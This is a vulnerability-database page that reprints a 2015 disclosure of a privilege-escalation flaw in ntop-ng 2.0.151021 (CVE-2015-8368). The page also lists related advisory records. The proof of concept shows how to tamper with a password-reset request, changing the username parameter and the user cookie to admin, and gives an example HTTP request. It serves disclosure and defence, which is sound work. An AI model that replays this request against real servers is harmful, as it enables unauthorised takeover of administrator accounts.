| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| ntop-ng 2.0.151021 - Privilege Escalation Vulnerability | 1 Dec 201500:00 | – | zdt | |
| ntopng Elevation of Privilege Vulnerability | 20 Dec 201500:00 | – | cnvd | |
| CVE-2015-8368 | 17 Dec 201519:00 | – | cve | |
| CVE-2015-8368 | 17 Dec 201519:00 | – | cvelist | |
| CVE-2015-8368 | 17 Dec 201519:00 | – | debiancve | |
| EUVD-2015-8252 | 7 Oct 202500:30 | – | euvd | |
| ntop-ng 2.0.151021 - Privilege Escalation | 1 Dec 201500:00 | – | exploitpack | |
| CVE-2015-8368 | 17 Dec 201519:59 | – | nvd | |
| ntopng < 2.2 Privilege Escalation Vulnerability | 20 Dec 201600:00 | – | openvas | |
| CVE-2015-8368 | 17 Dec 201519:59 | – | osv |
# Vulnerability title: ntop-ng <= 2.0.151021 - Privilege Escalation
# Author: Dolev Farhi
# Contact: dolev at flaresec.com
# Vulnerable version: 2.0.151021
# Fixed version: 2.2
# Link: ntop.org
# Date 27.11.2015
# CVE-2015-8368
# Product Details:
ntopng is the next generation version of the original ntop, a network traffic probe that shows the network usage, similar to what the popular top Unix command does. ntopng is based on libpcap and it has been written in a portable way in order to virtually run on every Unix platform, MacOSX and on Windows as well.
# Vulnerability Details:
in the latest stable release of ntop-ng it is possible to escalate the privileges of a non-privileged user to the admin account by resetting the password, intercepting the request and replacing the HTTP parameters.
# Vulnerability Proof of concept
1. Login with an unprivileged account
2. Change the account password and intercept the request, modify the username= and Cookie user= and change to the admin account
Example:
GET /lua/admin/password_reset.lua?csrf=XXXXXXXXXXXXXXXXXX&username=admin&old_password=12345&new_password=123456&confirm_new_password=123456 HTTP/1.1
Cookie: user=admin; session=XXXXXXXXXXXXXXXXXXXXXXXXX
3. Login with the admin account and the password you defined in step #3.
Voila! you're an administrator.Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation